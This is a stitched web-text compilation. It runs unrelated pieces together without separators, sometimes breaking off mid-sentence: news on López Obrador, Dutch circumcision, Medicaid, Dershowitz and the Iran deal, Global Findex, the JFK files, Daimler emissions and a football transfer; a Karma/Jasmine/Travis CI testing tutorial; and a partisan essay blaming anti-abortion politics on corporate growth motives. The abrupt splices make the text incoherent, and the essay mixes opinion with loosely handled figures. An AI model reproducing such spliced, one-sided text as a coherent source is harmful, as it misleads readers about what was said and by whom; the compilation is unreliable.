Beal has not selected a timeline for deciding which musical it will produce this year and stage in May.Mexican Presidential Candidate Coming To U.S. To Protest President Trump on US Soil
Mexican Presidential Candidate To Protest Trump On U.S. Soil
The leader of the National Regeneration Movement in Mexico, Andres Manuel López Obrador, is getting ready to kick off a tour throughout the United States showing support for immigrants while attacking President Trump according to Univision.
Andres Manuel López Obrador is expected to make his third run for President of Mexico in 2018 as a far-left wing candidate.
Obrador is expected to visit Los Angeles, Chicago, San Francisco, Phoenix, New York, Laredo and El Paso. Obrador has openly criticized President Trump for wanting to build a wall and for “the persecution of our countrymen.”
From Univision:
The main purpose of his tour, Morena said, is to send a message in defense of the human rights of all immigrants, regardless of their country of origin in response to Trump’s executive actions. “Every government has the right to create and enforce its laws,” says the statement from his visit, “but when they are unjust and have the potential to hurt and abuse the most vulnerable, as Dr. Martin Luther King Jr. said., The people, we must defend them “.
Obrador has called President Trump “irresponsible” numerous times for his views on wanting to crackdown on illegal immigration while at the same time acknowledging that if there wasn’t such widespread corruption in Mexico that immigrants wouldn’t go to the U.S. looking for a better life.
Follow Ryan Saavedra On Twitter @NewsRevoltRyanImage caption Jews in the Netherlands fear efforts to curb male circumcision are a threat to their faith
Religious groups in the Netherlands have opposed a call from the Royal Dutch Medical Association (RDMA) for male circumcision to be discouraged.
Male circumcision is legal in the Netherlands but the body representing the country's doctors wants to end the practice.
The association is urging politicians to put it on the political agenda.
It is asking parents to think twice before having their sons circumcised because it regards the procedure as dangerous and unnecessary.
Yet others see it as the latest reflection of a political shift in a country that is increasingly pressuring religious groups to stop practising what they preach.
Growing opposition
The figures vary but it is estimated that globally 30% of men are circumcised, with about 15,000 boys undergoing the procedure here in the Netherlands every year.
We feel circumcision is a medically unnecessary form of surgery Gert van Dijk, Medical ethicist
In much of Africa, it is seen as a rite of passage in becoming a man, with boys being taken "to the bush" to spend days hidden away in this ceremonial transition.
In the United States, it is still a relatively common procedure. However, there is a growing lobby opposing it in many parts of the US.
In some states, support for the practice remains strong - protesters in San Francisco have just lost their battle to have it banned.
The World Health Organization says circumcision can help prevent HIV and that, if done properly, there is little chance of complications.
But here in the Netherlands, some doctors disagree. Gert van Dijk is a medical ethicist and one of the authors of the RDMA's anti-circumcision advice.
'We feel circumcision is a medically unnecessary form of surgery. The patient has to give consent, but children can't give consent and we feel that is wrong and a violation of the child's rights," he said.
"In our code of medical ethics, it states that you must not do harm to the patient, but with this procedure this is exactly what you're doing."
The motivation is plain Islamophobia. It's not a discussion about medical ethics Ibrahim Wijbenga, Muslim from Eindhoven
Religious freedom
The RDMA are fighting against what is a deeply entrenched religious practice.
It is written in the Islamic text the Hadith that Muslim men should "cut the things that grow".
Ibrahim Wijbenga is a Muslim member of the Christian Democratic Appeal in the city of Eindhoven. He was circumcised as a child and, following the family tradition, he had his son circumcised too.
Ibrahim thinks claims that these discussions are medically motivated are nonsense and is campaigning to save the practice.
"It's not that we do something illegal or that we use a rusty knife. The boys in question are anaesthetised so they are looked after by the doctors.
"The motivation is plain Islamophobia. It's not a discussion about medical ethics, it's to make a lot of bad propaganda against Muslims and about our way of life and our religion," Mr Wijbenga said. "Basically, it's an effort to stop Muslims from entering Holland."
Image caption Muslims see the anti-circumcision drive as an attack on religious freedom
Jews, too, fear these anti-circumcision discussions are a serious threat to their faith.
"It's written in the Torah, in the Bible, that we should circumcise the child when the child is 8 days old. What God tells us to do, we must do," said Rabbi Jacobs, one of the Netherlands' most senior religious leaders.
He said that being advised not to circumcise babies would have a dramatic impact on the estimated 30,000 Jews living in the Netherlands. For him, it is worse than being told they cannot cultivate kosher meat.
'I can import (kosher meat) or choose to not eat it, but with circumcision I'm stuck. Even if I take my child to a different country to do it, once I come back the doctor will see that there has been a circumcision and put me in jail.
"If you interfere with this practice, it will totally end the Dutch Jewry in the Netherlands."
Rights of the child
When you do it with a boy, there's no way back... It made me angry that somebody else decided for me. Michael Schaap, Documentary maker
Even within the Jewish community, some - albeit a tiny minority - believe circumcision can leave a lasting psychological as well as a physical scar.
"He's grabbed, his legs are pulled apart, and they cut off part of his penis. Now what does it do to the boy's mind? I think it's wrong. I think boys or men have to decide for themselves."
Michael Schaap is speaking from experience. His Jewish parents had him circumcised as a baby. He believes it is "morally wrong to cut off any part of another person's body when there is no medical reason to do it. It's mutilation".
Michael made the controversial documentary "Mum, Why Was I Circumcised?" partly motivated by the anger he felt throughout his teenage years.
"When you do it with a boy, there's no way back. I don't know how sex would be with a prepuce. It made me angry that somebody else decided for me, to do something that I probably would not have done if I was deciding for myself."
Politicians here in The Hague have yet to respond to this increasingly intense public debate, which coincides with the imminent outlawing of ritual slaughter and the proposed burka ban.
Now many Muslims and Jews are concerned their fundamental traditions are under threat and that circumcision may be the next element of religious freedom to be withdrawn.
And that is essentially what makes this such a fiercely contentious issue: the rights of the child versus the rights of religion.“Our analysis shows it’s in the best economic interests of states to expand Medicaid under the terms of the federal Affordable Care Act,” said Carter Price, the study’s lead author.
The 14 states included in the Rand analysis are also passing up a chance to cover 3.6 million uninsured people, the study said.
Several Republicans governors have embraced the Medicaid expansion, but others have staunchly refused to implement any part of a healthcare law they strongly oppose.
Governors rejecting the Medicaid expansion often cite the costs to the state, but the Rand analysis said rejecting the expansion will actually raise those states' healthcare costs without covering the uninsured.
“State policymakers should be aware that if they do not expand Medicaid, fewer people will have health insurance, and that will trigger higher state and local spending for uncompensated medical care,” Price said. “Choosing to not expand Medicaid may turn out to be the more-costly path for state and local governments.”
The federal government initially pays the entire cost of the expansion, dropping to a 90 percent share by 2020.US President Barack Obama is currently vacationing on Martha’s Vineyard, as he does every August. For the last six years, he has always invited law professor Alan Dershowitz, who also spends his summers on the picturesque Massachusetts island, to drop by. But then the Iran deal happened.
“I’m not going to be invited to meet him this time. That’s fine. He knows my views,” Dershowitz said in an interview, referring to his fierce opposition to the nuclear accord the US and five world powers struck with Iran last month.
“He knows he made certain promises to me when we sat in the Oval Office,” Dershowitz continued. “He said to me, ‘Alan, you know I don’t bluff. I have Israel’s back. Iran will never be allowed to develop nuclear weapons. All options are on the table.’ He changed his policy. And he won’t look me in the eye.” (Obama’s would-be successor Hillary Clinton also came to Martha’s Vineyard this summer; she and Dershowitz did meet.)
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A well-known political commentator and prolific writer, Dershowitz considers himself a “liberal Democrat.” He voted twice for Obama, generally gives him excellent grades on domestic issues, and even has some good things to say about his various foreign policy initiatives. He supports the administration’s condemnations of Israeli settlements and would not oppose more pressure on Jerusalem regarding Palestinian statehood.
But when it comes to the Comprehensive Joint Plan of Action (JCPOA), Dershowitz delivers a crushing verdict. “It’s a D-minus, with grade inflation. It’s essentially a failing grade,” he said. “I would not allow this president and this secretary of state [John Kerry] — both of whom I know well, I’ve known them for a long time — I wouldn’t allow these two people to negotiate a 30-day lease for me. They’ve proved to be inept negotiators.”
Dershowitz’s grievances regarding the accord are manifold. Indeed, he just published an entire book on the subject. He has been researching the Iranian nuclear issue for 10 years and after the deal was signed it took him 11 days to write more than 200 pages on it, he said.
“The Case Against the Iran Deal: How Can We Now Stop Iran from Getting Nukes?” lambastes not only the agreement’s actual provisions — for every scientist who says it’s a good deal there is at least one who says it’s a bad deal, he said — but also the US administration’s “terrible” negotiation strategy.
In contrast to Prime Minister Benjamin Netanyahu, arguably the world’s most vocal critic of the deal, however, Dershowitz is not calling on American lawmakers to scuttle the agreement. While Netanyahu says a better deal is possible if Congress kills the current one, Dershowitz believes that blocking the agreement could make the situation even worse than it is now. Instead, he suggests passing a simple law that he claims could go a long way toward ensuring Iran never acquires a nuclear bomb.
Dershowitz’s main problem with the way the US approached the Iranian threat is that it did not declare that Tehran would never be allowed to build a bomb. The JCPOA does not explicitly state that Iran is for all eternity prohibited from developing a nuclear weapon. And this, according to Dershowitz, might embolden Iran to go for the bomb once the deal elapses.
The president wants deal ambiguity. He wants to say from one side of his mouth to the American public that this deal is forever, while telling the Iranians, no, this deal is not forever
“If there had been no negotiations at all, I don’t think Iran would have developed nuclear weapons. They would’ve maybe come close but they would have never crossed the red line,” Dershowitz, 76, told The Times of Israel. “President Obama had a strict, firm policy that he announced over and over again, and which he told me face to face: ‘We will never allow Iran to develop nuclear weapons. We will use military force if necessary to stop them.’ That was a very strong deterrent. I don’t believe Iran would have developed nuclear weapons (were it not) for the deal. This deal turned the light from red to green.”
According to the accord’s sunset provisions, Iran is free to pursue the bomb after about a decade, Dershowitz said. “There’s nothing in the deal that says they’re not allowed to develop nuclear weapons.”
The administration relies on Iran being a signatory to the Nuclear Nonproliferation Treaty, which bans nuclear weapons, but Iran can drop out of this treaty at any time, he noted.
The JCPOA does mention, in its preamble, that “Iran reaffirms that under no circumstances will Iran ever seek, develop or acquire any nuclear weapons.” But neither the US nor Iran considers this provision to be legally binding, Dershowitz is convinced. In defending the deal, administration officials say it guarantees Tehran doesn’t get a weapon in the next decade or so. When they are asked about the post-sunset period, they refer to the NPT, he said.
(Obama has said repeatedly that the “prohibition on Iran having a nuclear weapon is permanent.” But Dershowitz argues that the preamble of a deal is not binding under international law — to which US officials reply that the JCPOA is not a treaty but rather a “political agreement” that, strictly speaking, is not legally binding at all.)
“I challenge [Obama] to point to anything in this deal [that would ban Iran from pursuing the bomb] other than that preliminary statement which says that Iran will not be allowed to develop a nuclear weapon after the deal expires,” said Dershowitz. “He cannot do it. So he’s not telling the American people the truth about the deal.”
Dershowitz doesn’t stop at criticizing the JCPOA, and in the final chapter of “The Case Against the Iran Deal” offers a “constructive proposal” to improve the agreement and make sure Tehran will never get a nuclear bomb.
Congress should pass legislation en |
or a natural disaster, can keep people from falling into extreme poverty and my hope is that access to formal savings instruments—providing a safe place to save—can be made easier and less onerous for people at the bottom 40 percent of societies everywhere,” said Asli Demirguc-Kunt, World Bank Research Director, co-author of the Global Findex 2014. Leora Klapper, Lead Economist in the Research Group, manages the Global Findex and co-authored the research report.
The indicators in the Global Findex database are drawn from survey data covering more than 150,000 people in 143 economies. The survey was carried out over the 2014 calendar year by Gallup, Inc. as part of its Gallup World Poll, which since 2005 has surveyed approximately 1,000 people annually in up to 157 economies, using randomly selected, nationally representative samples of adults age 15 and older. Surveys are conducted in the major languages of each economy.
FACTSHEET — Global Findex 2014: Regional Portraits of Universal Progress
East Asia and Pacific region increased account ownership by 25% and made significant progress expanding account ownership among the poor. Adult account ownership rose to 69%, up from 55% three years earlier. In Indonesia, ownership among the poorest 40% doubled to 22%. Although less than 1% of adults have a mobile money account, 17% of account holders –including 19% of account holders in China—make payments from their bank account using a mobile phone, as compared to 13% in developing countries on average. Also, 79% of adults in China own an account, up from 64% in 2011. There are still several opportunities for governments and the private sector to reach the region’s 490 million unbanked. About 30% of the unbanked receive wage or government transfers in cash; moving these payments into accounts could help up to 140 million adults become account owners.
Europe and Central Asia is home to seven of the 10 developing economies with the highest share of adults who paid a bill or made a payment through the Internet. Account ownership among adults increased from 43% in 2011 to 51% in 2014. The percentage of unbanked adults on the lower 40% of the income ladder dropped by 10 percentage points. 28% of adults use their accounts to receive wage or government transfer payments. The Global Findex points to the challenge of reaching the region’s 105 million unbanked adults—30% of whom say they do not trust banks.
Latin America and Caribbean made good strides bringing the poor into the financial system, including 40 million adults who receive government payments into accounts. In Brazil, 88% of government transfer recipients do so into an account. 51% of adults in the region now have an account, up from 39% in 2011, but 210 million remain unbanked. In Argentina, account ownership among the poorest 40% of households doubled to 44% from 2011 to 2014. Across the region, 28% of adults make payments directly from their account using a debit card, as compared to 14% in developing countries on average. Yet big opportunities remain to boost usage: 135 million adults have an account, but pay their utility bills in cash.
In the Middle East, opportunities to expand financial inclusion are big, particularly among women and the poor. The region increased account ownership to 14% of adults, up from 11% in 2011. Men are twice as likely to have an account as women, and 7% of adults in the poorest 40% of households have an account compared to 19% in the richest 60%. Only 15% of unbanked adults cite religion as a reason for not having an account. More than 85 million adults in the region remain unbanked, but digitizing private sector wages could help cut that number by 6 million (or 7%).
South Asia has added 185 million adults with new accounts since 2011, but there are clear opportunities to boost usage of accounts. 46% of adults now own an account, up from 32% three years ago. In India, 43% of adults with an account made no deposits or withdrawals in the past year, and 230 million with an account pay utilities or school fees in cash. 18% of adults in South Asia own a debit card, compared to 31% in developing countries on average. Shifting payments for agricultural products from cash to accounts could help reduce the number of unbanked adults by up to 105 million or about 17%.
In Sub-Saharan Africa mobile technology has the potential to vastly expand financial inclusion. 34% of adults now have an account, an increase from 24% in 2011. 12% of adults in the region have a mobile money account compared to just 2% globally. Kenya leads with mobile money account ownership at 58%, while Tanzania and Uganda have rates of about 35%. 13 countries in the region have mobile money account penetration of 10% or more. In Cote d’Ivoire, Somalia, Tanzania, Uganda, and Zimbabwe, more adults have a mobile money account than an account at a financial institution. In Kenya more than half of adults who pay utility bills use a mobile phone to do so. And in Tanzania, almost a quarter of those receiving payments for the sale of agricultural products do so into a mobile account. 48% of adults in Sub-Saharan Africa send or receive domestic remittances: Shifting domestic remittance payments from over-the-counter money transfer operators to accounts could double account ownership in Senegal, Cameroon, Democratic Republic of Congo, and Republic of Congo."These files should have been released long ago,” Posner said this month, complaining that “under the guise of national security,” the government had held documents under seal for far too long. “All the secrecy just feeds people’s suspicions that the government has something to hide and adds fuel to conspiracy theories.”
Although the review board’s mission was never to reinvestigate the crime, its members developed expertise matched by few researchers. Tunheim, like Sabato and the Warren Commission, points to Oswald, though he has questions about nightclub owner Jack Ruby, who ended up killing the assassin.
“I see all of the evidence pointing toward Oswald as being the lone shooter,” Tunheim said. “Could there have been a second shooter? Could there have been a conspiracy? Certainly....
“But,” he continued, “I deal in hard evidence that can be brought into court. It was his gun, his prints all over it. The shells matched the bullets in the car. Everything points to Oswald doing it.”
That said, the review board interviewed everyone who worked for the House Select Committee on Assassinations in the late 1970s.
“To a person,” Tunheim recalled, “they said that they believed that organized crime was involved in the conspiracy. But also to a person, they said: `We could not prove it. We tried very hard and could not prove it.’ I don’t know that we’ll ever know all the answers.”Some people say that legacy code is any code written without tests, and I am one of those people. But I’m also a front-end developer, which means that testing my code often requires a browser. This makes testing slightly more difficult, or at least I thought it was. In reality, it’s actually quite simple and in this article I’ll show you what it takes to get started!
GitHub and Travis CI
In order to test our code, we’re going to use GitHub and Travis CI. GitHub will host our code, and Travis CI will serve as the testing platform. This is all completely free for public repositories, and there’s plenty of documentation to help you in using both these products. The first thing to do is to create a repository on GitHub. For the sake of this tutorial, I’ve created a repository that you can find here.
The next step is to visit the page at https://travis-ci.org/ and sign in with GitHub. Once done, you’ll need to add a repository for Travis to run tests against as shown in the image below.
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Clicking on the “plus” icon will take us to a console where we can sync with our GitHub account and choose the repository.
The dashboard for our repository will be blank since we haven’t set up any test. Let’s now move to the next stage.
Doing Stuff with Node.js
Just like Mitochondria is the powerhouse of the cell, Node.js is going to be the powerhouse of our sweet testing setup. If you haven’t installed Node.js, visit its website and install it. Once done, clone the repository you created in the previous section so that you have all the files in your local machine. At this point, we’re ready to install Karma!
Karma is a testing framework originally created by the AngularJS team. We’re going to use it to help us run Jasmine on Travis CI in Firefox. I know that sounded overwhelming, but don’t worry! Soon we’ll have some really cool tests running and it’ll all be worth it.
If you don’t have already a package.json file and the node_module folder in your repository, run npm init and complete the setup. The previous command will help you in creating the package.json file. Next, run the following command:
npm install karma --save-dev
We’re also going to install a few necessary Karma plugins: karma-jasmine and karma-firefox-launcher. So go ahead and run:
npm install karma-jasmine karma-firefox-launcher --save-dev
Now that we have all of the necessary plugins installed, we want to tell Karma about our project so that it can run tests against it. Run the command:
karma init my.conf.js
This will take you through a guided setup, asking you questions about your project and its environment. The following screenshot will show all of the required questions and answers for a simple Karma setup:
We haven’t yet created our test directory. So, when asked about the location of our source and test files, we’ll be warned that tests/*.js doesn’t exist. As for dist/*.js, that’s the file that I plan to run my tests against, which may be different for your project.
That’s it! Karma is good to go!
Configuring Travis
So far, Travis has no idea what to do with our repository. Let’s fix this. We’ll need to create a.travis.yml file with the following code:
language: node_js node_js: - "0.10" script: node_modules/karma/bin/karma start my.conf.js --single-run before_install: - export DISPLAY=:99.0 - sh -e /etc/init.d/xvfb start before_script: - npm install
This tells Travis that we’re using Node.js to test JavaScript and use Firefox as a browser. Besides, we specify that before it begins testing, it should run npm install to grab all of the necessary plugins.
Writing Tests with Jasmine
Up to this point, we have Karma and Travis properly configured. So, we’re ready to write some tests for our JavaScript code. For my sample repository, I have a file called coolLibrary.js that adds a teal square to the body element and gives it a data attribute. You can see it in action on CodePen.
In order to test this code, I’ve created the tests directory mentioned in the my.conf.js file, and from there I’ll add the jasmine test files. My first test will be a simple check to ensure that there is a div on the page with a class of box. Jasmine makes this very simple with an easy-to-understand function syntax. Here’s what the first test ( checkIfDivExists.js ) looks like:
describe('getDiv', function() { var d = document.querySelector('.box'); it('Should exist', function() { expect(d.nodeName).toBe('DIV'); }); });
This creates a Suite that searches for an element with the class of box, and expects its node name to be DIV. The syntax is pretty straightforward.
In addition to the previous test, I’ll also create two more tests that you can find in the GitHub repository for this project and that are copied below for your commodity:
describe('getDivBg', function() { var d = document.querySelector('.box'); it('Should be teal', function() { expect(d.style.backgroundColor).toBe('teal'); }); }); describe('getDivAttribute', function() { var d = document.querySelector('.box'); it('Should be bar', function() { expect(d.getAttribute('foo')).toBe('bar'); }); });
Running the Tests
With the tests for our code in place, our final step is to commit our code. This will add all of our testing logic and trigger a build on Travis. Don’t forget to have a.gitignore file that ensures your node_modules folder isn’t pushed into the repository! Once you commit and push your code, Travis will automatically detect the changes and run your tests. The process may take a few minutes, but you’ll be alerted via email as soon as the build is complete.
Success!
You can create as many tests as you need, and GitHub will make sure to check incoming pull requests against these tests as well.
Conclusion
In this tutorial we learned how to set up a simple testing environment for our JavaScript code using Karma, Jasmine, and Travis. Feel free to see the final result at https://github.com/sitepoint-editors/FEJStesting and sound off with any questions or concerns in the comments! You can view the latest test on Travis at https://travis-ci.org/tevko/FEJStestingGerman luxury automaker Daimler manipulated the engines of around one million diesel vehicles to make them appear less polluting, local media reported Thursday, raising echoes of competitor Volkswagen's 'dieselgate' scandal.
"The Stuttgart-based firm sold vehicles with higher levels of damaging emissions than allowed for almost a whole decade between 2008 and 2016, in Europe and the United States," daily Sueddeutsche Zeitung said.
Along with regional broadcasters NDR and WDR, the newspaper had access to a search warrant from a Stuttgart court allowing prosecutors to raid 11 sites belonging to the Mercedes-Benz and Smart maker in late May.
Investigators suspect that the world's largest luxury carmaker used a similar so-called "defeat device" to Volkswagen, which in 2015 admitted to manipulating emissions readings on some 11 million diesel vehicles worldwide.
Software in the motor runs the emissions treatment system at a higher setting when it detects the vehicle is undergoing regulatory testing.
Investigators believe cars fitted with the OM 642 and OM 651 engines filter out 95-99 percent of harmful nitrogen oxides under test conditions, but only between 35-85 percent in real on-road driving.
The motors were built into more than one million cars and vans by Daimler, including C, E and R class Mercedes.
A Daimler spokeswoman contacted by AFP declined to comment on an ongoing investigation, but said the carmaker was cooperating with the authorities.
Prosecutors reiterated that two employees from the team that created the software are under formal investigation on suspicion of fraud and false advertising, neither of them senior executives.
'Initial suspicion'
"We have always said that there is an initial suspicion of manipulation in emissions treatment of diesel engines from Daimler," a spokesman for the Stuttgart prosecutors' office said.
According to the warrant, prosecutors sought to recover emails between 99 Daimler employees during the raids in May, one of them a member of the group's executive board.
The document suggests that officials believe more people were involved than the two presently targeted, and expect suspects will be added to the probe.
Daimler also faces an investigation by the United States Department of Justice, as well as a number of class-action lawsuits in the US accusing it of false advertising.
After the Volkswagen scandal broke in September 2015, a German investigation revealed emissions irregularities in vehicles from 16 different manufacturers in spring 2016.
Daimler was one of five German carmakers identified in the probe, and agreed to recall around 280,000 cars and small vans for a software update to meet European emissions limits.
But that episode did not resemble Volkswagen's diesel cheating, as manufacturers had exploited a loophole allowing cars to shut down exhaust treatment under certain conditions, such as low external temperatures.
Shares in Daimler AG were one of the worst performers on Germany's blue-chip DAX index Thursday morning, losing 0.95 percent to trade at 64.84 euros ($73.94) by 1010 GMT, against a market up 0.33 percent.Jeremain Lens has completed a switch from Dynamo Kiev to Sunderland for an undisclosed fee.
Sunderland has secured the capture of Dynamo Kiev forward Jeremain Lens on a four-year deal.
The fee for the 27-year-old Netherlands international was not disclosed. Lens has previously worked with Sunderland boss Dick Advocaat at PSV and AZ.
"We have signed an international player and I am delighted to welcome him to Sunderland," Advocaat told his club's official website. "He is a very well-known player in Europe and has played 30 games for the Dutch national side, which shows his caliber.
"I have worked with him twice already, at PSV and AZ, so I know him well: He is fast and he has scored goals everywhere he has played, so that will help the team."
Lens has eight international goals to his name and was a part of the Netherlands squad that reached the semifinals of the 2014 FIFA World Cup, having scored five times during qualification.
He is the third offseason arrival at the Stadium of Light, following the signings of defenders Adam Matthews from Celtic and Sebastian Coates from Liverpool.Abstract
A political system's wisdom can be measured, not by what it prohibits, but by what it defends as individual rights. Modern conservatives rightly point out that a small government is more consistent with democratic principles than a large, paternalistic one, and that many top-down controls could and should be put aside in favor of individual choice. But while reading U.S. history, and in apparent contradiction of these principles, we find that conservatives have selected certain issues for vigorous top-down governmental enforcement in ways that deny individual rights. For example, antebellum slave owners, otherwise conservative in outlook, insisted on governmental intervention to defend their imagined right to own human beings. Another example is seen in the McCarthy anti-Communist witch hunts of the 1950s, during which certain political views were turned into de facto crimes against the state, in an otherwise reasonably democratic system. Another example is interference in a woman's right to choose, but unlike slavery or McCarthyism it's a present-day controversy. This article examines the contradiction represented by conservatives rightly objecting to governments meddling in the lives and rights of individuals, but on the issue of reproductive choice, performing an about-face and objecting that big government isn't doing enough to prevent the exercise of this particular right. This article explores the reasons for that contradiction.
Contents
List of Figures
1 Overview
1.1 Tomi Lahren
In March 2017, conservative commentator Tomi Lahren found herself in the midst of a firestorm of controversy over pro-choice views she expressed in the media:
“I am pro-choice, and here's why,” Lahren said. “I am... someone that loves the Constitution, I am someone that's for limited government, so I can't sit here and be a hypocrite and say I'm for limited government but I think that the government should decide what women do with their bodies. I can sit here and say that as a Republican, and I can say, you know what, I'm for limited government so stay out of my guns and you can stay out of my body as well,” she said.
Needless to say, on ideological grounds Lahren was quickly fired from her position as conservative commentator. Lahren's firing dramatizes the contradiction presented by the mainstream libertarian outlook of many conservatives (too much governmental control, too little personal liberty), alongside a demand for more governmental interference in the reproductive rights of women.
1.2 The Contradiction
An alien visiting from another planet might ask, “Why are conservatives against women's reproductive rights, and liberals in favor? Wouldn't it be more logical for liberals to hold anti-choice views? After all, liberals are more likely to demand governmental controls and go along with what government thinks is best, while conservatives have historically championed individual liberty and freedom of choice.”
The alien is right — this does represent a first-class contradiction, but there's a reason for the Republican party's outlook on reproductive rights, and contrary to what one might think it's not driven by morality, compassion or religious belief. The reason is purely economic, and it shows the efficiency with which opinion leaders can manipulate rank and file Republicans into an outlook that contradicts their core values — except a handful of individuals like Tomi Lahren.
Before we explore the reason for this contradiction, we need a background in reproductive science.
2 In Depth
2.1 Fact List
Here are some facts about reproduction:
When a woman reaches puberty, she has about 350,000 eggs available, each of which can become a human being in the right circumstances. This means when a woman dies, nearly all those potential human beings die with her. Barring fertilization, each month a fertile woman expels an egg, a potential human being. This means between the onset of puberty (median age 12) and menopause (median age 51), a typical woman expels about 500 potential human beings. In the event of fertilization, an egg moves from the fallopian tubes to the uterus and tries to implant itself in the uterine wall. During this phase, about 50% of fertilized eggs are lost. After implantation, the next obstacle is miscarriage. A miscarriage is the natural but unintended termination of a pregnancy. According to the linked reference the overall miscarriage rate for all human fertilizations is 30% - 50% potential human beings. The linked article says, “Some recommend not using the term `abortion' in discussions with those experiencing a miscarriage in an effort to decrease distress.” I personally would want to say, “Yes, it's an abortion, but nature did it, not a doctor, so it's all right.” The outcome for points and above is that 25% - 30% of fertilized eggs lead to a live birth — mother nature aborts the remaining 60% - 75%. Studies show that educated women want, and where possible have, smaller families. There are many reasons, among which are the fact that women with small families can pursue a career, her children are better off economically and educationally, and educated women are more likely to understand global population issues. The Donohue-Levitt Hypothesis claims that legalizing abortion reduced the subsequent U.S. crime rate. Ordinarily such a claim can be dismissed as a correlation without a proven cause-effect relationship, all too common in the social sciences, but the research that led to this hypothesis includes supportive statistics based on the dates at which abortion was legalized in different parts of the country, and corresponding differences in crime rates over time. Some have criticized this theory for certain methodological flaws and questionable assumptions. All we can say for sure is that legalizing abortion was accompanied by a substantial reduction in the crime rate, and one possible explanation is that there are now fewer unwanted, unloved children, children who might become criminals.
2.2 Analysis
The above fact list shows that, during a woman's life, nature throws away the majority of potential human beings. The reason? Limited resources — increasing the number of children doesn't automatically increase the resources available to support those children, indeed there's no more certain way to increase human suffering and crime rates than to increase the birth rate without also increasing available resources. It seems that nature has many ways to prevent the birth of unwanted children, including the discarding of most potential human beings, a process many call "natural abortion."
But is abortion the answer? Only in the extreme case where social and natural forces have interfered with other, simpler methods. But why would other methods fail? After all, there are any number of low-impact ways to prevent the birth of an unwanted or unsupportable child. Here are some of the ways:
We could offer birth control knowledge and methods to people who want to control their fertility, so the only children born are those who are wanted and loved. But conservatives do what they can to prevent the ready availability of birth control knowledge and methods.
We could intervene and offer sexually active young people confidential counseling in sexual matters, relying on behavior modification to protect them from the consequences of this kind of activity. But conservatives do what they can to prevent sexual counseling in schools.
We could educate young people — before they become sexually active — about the risks and dangers in early sexual activity, provide them with the knowledge to protect themselves. But conservatives do what they can to prevent early sex education in schools.
The conclusion? If conservatives didn't fight against every aspect of sex education and family planning, abortion would be a very rare procedure, reserved for only the most extreme circumstances. But that's not reality — in reality, conservatives have successfully fought against all measures that would limit the birth of unwanted, unexpected children, often to the least-prepared, poorest parents. Why is that?
2.3 Growth is Good
Figure 1: The Factory
Imagine you own a factory. Your factory has two doors. Workers arrive through one door, ready to manufacture what you sell. Customers arrive through the other door, ready to buy what you sell. Can your business increase in size, create more income? Well, yes, easily done — all you need to do is increase the number of customers ready to buy what you sell.
But wouldn't that increase in demand exceed your factory's ability to manufacture what you sell? Yes, but that problem would be solved if there were a corresponding increase in the number of available workers.
As it happens, there's a simple method to solve all these problems — increase the number of customers, increase the number of workers, and grow your business. To accomplish this, all you need to do is keep people from controlling the number of children they have, from choosing, from exercising reproductive self-determination.
But wait — what if people find out what you're up to? Won't it seem predatory and exploitative if it comes out that you're forcing people to have more children than they would if they were free to choose? Maybe there's a way to conceal your true motive for denying free choice. How about this — we can say it's all about morality — that limiting the birthrate is immoral, because potential human beings are being discarded. We could even abandon all rational discourse and call it murder.
2.4 Redefining Reproduction
In a perfect outcome for the factory owner, and because of a well-funded public-relations campaign, society's common-sense views on sexuality and reproduction are redefined:
Sex education in the schools is redefined as an encouragement for young people to engage in immoral sexual activity.
Family planning knowledge and methods are redefined as immoral and dangerous because (a) they might encourage young people to engage in sexual activities, and (b) they destroy potential human beings.
Abortion, a miscarriage by other means, is redefined as murder.
In every part of this process, the real rights of the born are abandoned in favor of the imagined rights of the unborn.
2.5 Governmental Coercion
The point of this section is to show how and why commercial, corporate interests are behind anti-choice politics. Factory owners, stockholders, corporate interests, all want continued growth, and the more growth, the better. The easiest way to make that happen is to persuade people that it's their moral duty to procreate, and that those who instead choose to complete their educations, learn how to think for themselves and exercise their right of free choice, are living in sin.
The irony of the anti-choice faction is that it's been embraced by the Republican party, the party supposedly in favor of smaller government and a libertarian outlook. But the effect of anti-choice politics is to increase the number of people dependent on big government to survive, as well as decrease the number of educated people intellectually prepared to lead America into our future.
3 The Meaning of Choice
This section shows what happens when women are free to choose.
3.1 Lisa Randall
Figure 2: Lisa Randall
Lisa Randall is a professor of physics at Harvard University. Randall works at the frontier of theoretical physics, exploring the universe in a way that requires a rare combination of intellectual ability and esoteric knowledge. Her theoretical papers are widely cited by other workers in her field, and in 2004 she was the most cited physicist of the prior five years. In 2007, Randall was named one of Time magazine's 100 Most Influential People.
Professor Randall sometimes expresses a wish to have children:
“Children are the biggest issue for most women in science,” [Randall] says, “because, like it or not, society still sees women as the primary carers. Part of me really wants to have children, but another part of me wants to put it off as long as possible, because there is so much more work I want to do and I'm very intolerant of distractions.”
The point? We have Professor Randall's contributions because Professor Randall has choice.
3.2 Jane Goodall
Figure 3: Jane Goodall
Jane Goodall, regarded as the world's foremost expert on chimpanzees, is best known for her 55-year study of social and family interactions of wild chimpanzees in Gombe Stream National Park, Tanzania.
Doctor Goodall has received many awards for her scientific work including the Gold Medal of Conservation from the San Diego Zoological Society, the J. Paul Getty Wildlife Conservation Prize, and the National Geographic Society Centennial Award. In 2002 she was named a Messenger of Peace by the United Nations.
Since the time of her most important field work, Goodall has begun educating the public about the destruction of chimpanzee habitat and the unethical treatment of chimpanzees and other primates.
Jane Goodall has one child, a son, by her first husband, after the majority of her Africa field work was complete. Goodall's role as a parent is typical of successful women: they become parents when they choose.
3.3 Ada Lovelace
Figure 4: Ada Lovelace
Ada Lovelace (1815—1852) was the only legitimate child of Lord Byron. During her childhood and with her mother's guidance and encouragement, a number of skilled teachers nurtured Lovelace's talents in mathematics and logic.
While a teenager, Lovelace met and began working with Charles Babbage, primarily on Babbage's “Analytical engine”, a design for a mechanical computer far more advanced than the technology of the day. As this project moved forward, Lovelace assumed a role that a modern person would describe as “programmer” — she produced advanced algorithms for the analytical engine that, had the device been completed, we know would have worked. On that basis Lovelace is known as the world's first computer programmer.
In recognition of Lovelace's pioneering work, The U.S. Department of Defense named a computer language after Lovelace — the advanced language “Ada” was designed to supersede and replace about 850 older computer languages in use at the time.
Ada Lovelace's story is remarkable primarily because of the time in which she lived, a time when women had few rights or freedoms. Her professional success came about largely due to Ada's mother's influence and guardianship, and her awareness of all the ways a young woman's life can go off the rails.
3.4 Conclusion
The stories of these and many other women are all the more remarkable because of the hostile political atmosphere in which they lived (and live) — an atmosphere in which women are told they have only one purpose, and are pushed toward a confining role that diminishes both the individuals and the society around them.
Tomi Lahren's recent willingness to speak her mind — at great personal cost — should serve as a wake-up call that the Republican party has adopted a policy that contradicts common sense, sound conservative principles, and public sentiment.
